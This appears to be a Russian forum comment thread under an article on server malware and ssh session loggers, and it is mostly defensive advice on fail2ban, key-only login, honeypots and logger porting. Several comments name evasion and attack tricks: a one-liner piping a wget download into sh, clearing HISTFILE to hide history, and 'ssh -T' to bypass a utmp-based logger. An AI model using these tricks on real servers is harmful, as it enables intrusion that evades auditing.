Серверное malware или зачем нужны ssh-логгеры

[DmZ]

Просто бот пытается скомпилить KDE на FreeBSD! :)

По теме: для этих же целей использую полное логирование bash в syslog на удаленный сервер (для 3.х нужен патч, в 4.х уже есть в исходниках)

[bazilxp]

А как насчет виртуальной машины для таких целей?

Легко поднимается, при каждом проходе через неё (восстанавливать из бекапов)

[home_user]

6. Удаляйте тестовые аккаунты, когда они становятся не нужны.

[lithium_li]

добавил в статью

[digreen]

Было б много плюсов поставил бы все.
А еще
www.freebsd.org/doc/handbook/audit-config.html
И auditd для линуксов.

[easy_john]

Я бы начал с: 1. установите fail2ban или аналогичную утилиту блокировки попыток

[stolen]

Глупый бот. Что-либо в стиле «wget something/bad?`uname -s` -O- | sh» было бы куда менее диагностируемо, особенно если это был бы shar.

И да, судя по тому, что wget был неоднократно дернут, это, вероятно, был не бот, а вполне живой человек.

[netto]

> Использование ssh-логгеров может быть очень полезным.

Вообще-то, в первую очередь, «очень полезным» будет не создавать (и не забывать) на сервере логин test с паролем test. :-/

[lithium_li]

согласен с вами, но человеческий фактор всегда был и будет, именно для этого нужны ssh-логгеры. Да и взлом сервера через уязвимости и брутфорс никто не отменял, хорошая память не спасет вас от malware :-)

[ximaera]

В случае взлома сервера через уязвимости termlog может не помочь.

[foxmuldercp]

ну, помочь то он, может и сможет, но толку от этого…
только переустановка/восстановление из бекапа

[ximaera]

Откровенно говоря, если бы это был мой сервер, то переустановка/восстановление из бекапа произошли бы и в описанном автором поста случае, потому что сервер так или иначе скомпрометирован. На заборе в termlog'е одно написано, а на деле там, может быть, была эксплуатация какой-нибудь пока неопубликованной локальной уязвимости. Мне проще один раз перезалить сервер и успокоиться, чем потом годами проверять систему после каждого CVE, декларирующего локальную уязвимость одной из библиотек, установленных на момент компрометации у меня в системе.

Так что пользу в termlog'е я вижу только одну: когда ко мне придут из БСТМ МВД РФ и спросят, какого [SKIPPED] мой сервер принимал участие в DDoS-атаке на сайт duma.gov.ru и во взломе сервера zakupki.gov.ru, мне будет что показать им в ответ. Есть (небольшая) вероятность, что на этом общение с МВД по инциденту ограничится. Но применять его для целей вида «если ваш сервер взломали, то вы можете узнать, как это сделали и закрыть дыру»… да упаси Господи. Сами применяйте.

[foxmuldercp]

ну я в комментарии ниже об этом, в общем-то и сказал.
компрометация — нафиг нафиг, отключить от внешней сети, развернуть из бекапа (диффы файловые тоже могут помочь), обновить всё что можно, проверить все конфиги те, что можно и потанцевали дальше.

но чаще и проще — слить конфигурацию сервисов/дампы баз — и в переустановку, и потом проверить еще конфиги

[intnzy]

Ну ок, развернулся из бэкапа — а тебя же опять же через эту же дыру поимеют. И так до бесконечности, если не понять, что именно происходит.

[foxmuldercp]

кажется, фразу про «отключить от внешней сети» пропустили? ну для анализа — вон вообще песочницы, виртуалки и тотальный разбор по байтикам…

[intnzy]

а, да, пропустил.

[ivlis]

После того как вас взломали никакие логи уже не помогут.

[decanet]

Не подскажите аналог termlog под linux, желательно чтобы был пакет в дебиане.

[lithium_li]

DmZ писал про «полное логирование bash в syslog», еще возможно вам стоит посмотреть в сторону watch, но там придется придумывать костыли с записью. В следующей статье я буду делать обзор ssh-логгеров, я постараюсь осветить это вопрос.

[alexander007]

Тут не только логгер нужен. Как минимум плюсом нужен блеклист, межсетевой экран, настройка sudo и настройка sshd.

[Nrs]

ловил что-то похоже, но пользователь был создан не мной, а пакетом oracle-validated. конечно же сам лошара, надо внимательнее читать документацию :)
после этого, как бы не были сложны пароли на вход по ssh, заход на сервера только через openvnp, ssh во внешку закрыт.

[foxmuldercp]

закроет вам провайдер туннели и до свиданья, мой любимый город. у товарища вон туннели закрыли. вместе с портами самбы для dhcp юзеров.

[rumkin]

Разве нельзя ограничить: а) круг юзеров для которых разрешен вход через ssh, б) количество новых конектов к ssh (против брута)?

[Nrs]

можно, да и нужно по сути всегда делать. но мне спокойней именно в моем варианте

[Paskal]

Долго же у меня эта статья лежала в списке для чтения…
Есть прекрасная статья о защите ssh, где перечислены все хорошие методы защиты, вот она. Эту, хабровскую, статью не читал, ибо разрешать вход по логину и паролю — сам себе злобный буратино.

[ivlis]

Только ssh2, только по ключам, только хадкор! :)

Уже давно перевел аутентификацию на серверах только по ключам, поставил fail2ban, две неправильные авторизации и бот отправляется отдыхать на 30 минут (ошибиться в ключе благонадёжному пользователю невозможно, поэтому такой суровый лимит). За сутки fail2ban отсекает несколько сотен таких ботов с логинами test, php, apache и им подобными.

У такой схемы есть явный недостаток, а именно возможность устроить DDoS на iptables, но я пока не сталкивался.

[youlose]

Поддерживаю обеими руками — ЗА! Сам я использую только ключи для SSH, авторизация с обычными паролями везде запрещена, одни положительные эмоции.

Про DDoS интересно — каким образом?

[Kastrulya]

Видимо все же DoS. Путем дикого увеличения кол-ва правил(??). Но, сдается мне, что скорее боты канал засрут мусорными запросами, нежели файрволл запорят. Тогда уже вполне ddos выдет :)

[youlose]

ААА, я понял, ну значит надо не fail2ban использовать, а делать одно правило с использованием модуля hashlimit, например.

[netmaniac]

перевесьте порт ssh на какой «высокий» порт и логи с test/php/admin/toor прекратятся
для ботов слишком напряжно по всем портам бегать

[ximaera]

Тут у меня в ирке товарищи интересуются: вы после бота пароль пользователя test сменили? Вообще, IP-адрес вашего сервера не подскажете на поиграться? :-)

[shanker]

Статейка интересная, понравилась, плюсанул.

Внесу свои 5 копеек. А тестовому аккаунту нельзя было изначально дать только локальный вход в систему? Тогда бы и инцидента-то не произошло бы.

[lithium_li]

необходимо было протестировать именно удаленный вход и запись команд в лог-файл разными пользователями.

[xenon]

То есть, тестировали новый метод защиты, для которого это потребовалось. Через этот же метод защиты вас, получается, ломанули. И через него же вы отловили взлом. Есть в этом что-то по-буддистски самодостаточное.

[elgoog]

Использую такое лет 10 уже. Отличное и простое решение.

[foxmuldercp]

Простите, но каким же идиотом надо быть.
первое — тестовые сервера в песочнице.
второе — доступ по ssh с ограниченного списка IP для «тестовых/временных» аккаунтов + авторизация по ключу.
третье — переопределить ssh-listen порт дело одной строки и рестарта сервиса, и не забыть на gateway nat поправить.

А даже обычного аудита, помнится, хватало для того чтобы в почту всем админам свалилось письмо «сервер такой-то, создана учетка такая-то.»

PS в некоторых компаниях это повод получить трудовую на руки с увольнением по статье.

а логирование куда-то на удалёный сервер вообще хорошая штука.

/me почесал свой работающий голой попой в инете windows 7/2008r2 десктоп и подумал, почем его до сих пор никто не поломал..???

[xenon]

Вы все правильно говорите, но это уже «задний ум». Вообще в теории — любая система — абсолютно(!) неприступная крепость, даже без специальных мер безопасности, только лишь если все причастные к ее созданию нигде ничего не забыли. Админ не забыл удалить пользователя test/test, программист сетевого демона не забыл проверить длину считанных от пользователя значений итд. Все просто. Но такое, как показывает жизнь, даже пентагону не под силу. Все рано или поздно что-то забывают.

Не говоря уже о том, что редко какая система — конечный продукт. Обычно все они динамически строятся. Только все сделали как надо — как уже, оказывается, новые требования к тем же серверам выдвинуты, и надо что-то еще доделать. Причем уже делать пора, а не думать, совместимы ли новые запросы с тщательно продуманной ранее схемой защиты. Пора — потому что бизнес не ждет.

Поэтому разумные и верные идеи по реально качественной защите — очень интересны, но часто им место в фантастике и разговорах секурщиков на досуге, и редко когда в реальной жизни :-(

[foxmuldercp]

Видимо, мы с Вами где-то не там работаем.
Вспоминая про статьи и коды п/о NASA, где вон каждый битик выверяется, и хистори ведется десятилетиями :)

Ну не знаю, я на продакшен домен групповые политики выкатывать не буду. максимум на OU.
Про лезть в тот же exchange — до полного бекапа виртуалки — нини.
про писать свои скрипты/софт — точно также, проверю всё, что можно.

[azxc]

Вспомнилось:
Давно-давно мне как-то стало интересно посмотреть на разные скрипты и код разных эксплоитов и сканеров на тот момент. Искать их было неохота (тем более, что фейка достаточно много). Вместо этого я просто сделал jail на FreeBSD/Alpha и создал что-то типа test/test пользователя.
За один вечер в моем наличии была достаточна большая коллекция разного рода эксплоитов. Почти все были под Linux/x86, конечно, и на Alpha процессоре эти бинарники не запускались, а gcc не было установлено (да и многие script-kiddies на тот момент пользоваться gcc не умели все равно).
А когда народ начал pr0n и варез закачивать, то я тогда остановил это безобразие.

[ximaera]

Троллинг хороший, годный. Теперь я знаю, как использовать завалявшуюся у меня PARISC-машинку %-)

[foxmuldercp]

:):) я еще иногда подумываю про как же эту систему зовут, в общем есть пачка фейковых серверов в сети и мониторинг их на тему кто что пытается просканировать и все это сыпется в консоль. Известная софта…

[utrack]

google: honeypot freebsd :)
honeyd, не?

[xenon]

Ставьте! :-)
Я как-то по молодости заломал какой-то сервер от DEC с их нативным юниксом — очень необычно было, что некоторые команды там немного не такие. Первый (и единственный) опыт работы на такой системе.

Можете даже пароль в баннере указать, чтоб все заходили — все равно ж машина бездействует. А так хоть польза будет.

[mob]

пойду сдувать пыль со своего спаркового Fire V210 ;-)

[ximaera]

Кстати, я правильно понимаю, что бот/злоумышленник даже `export HISTFILE=""` не сделал перед выполнением своих действий, и вся его активность имеется в ~test/.bash_history? Какие-то совсем неинтересные хацкеры пошли.

[niveus_everto]

Если кому интересно, то заставил это безобразие работать на FreeBSD 9.0
Ссылка вот: GitHub

[lithium_li]

Скопировал в порт в папку work/termlog2.5 и убрал пометку broken из Makefile. Все собралось и даже заработало, но только сессии начинают записываться только после перезапуска termlog. То есть если пользователь поднял ssh-сессию и termlog рестартовал, то сессия пишется. Если пользователь просто подключился, поработал и отключился и termlog в это время не перезапускался то сессия не пишется.

[niveus_everto]

Хм. так глубоко не копал… было просто интересно заставить работать с UTMPX, который сменил UTMP 8-й версии FreeBSD… т.е. собирается и логи пишутся. В `rc.conf` не добавлял даже…
На днях посмотрю, но уже подозреваю где проблема…

[niveus_everto]

Вылетело из головы… #warning «only FreeBSD 9.0+!»
в 9-й FreeBSD поменяли UTMP на UTMPX и порт сломался. Без правки кода не работает. Если кому нужно — могу сделать код поддерживающий FreeBSD 8.0 и FreeBSD 9.0 одновременно…

[rumkin]

Заваривать кофе и читать!

[gre]

3.Соблюдайте элементарные правила безопасности — используйте устойчивые к перебору пароли и меняйте их периодически.
прошу добавить в список авторизацию _ТОЛЬКО_ по ключам.
а доступ по паролю необходимости на специальный гейт.

[lithium_li]

добавил

[int_0x80]

Посмотрел исходники.

Принцип действия этого termlog'а завязан на utmp… тоесть,
мне достаточно зайти на ваш сервер так: ssh -T user@server и этот логер в пролете.

P.S. Аникейный метод защиты от скрипткидисов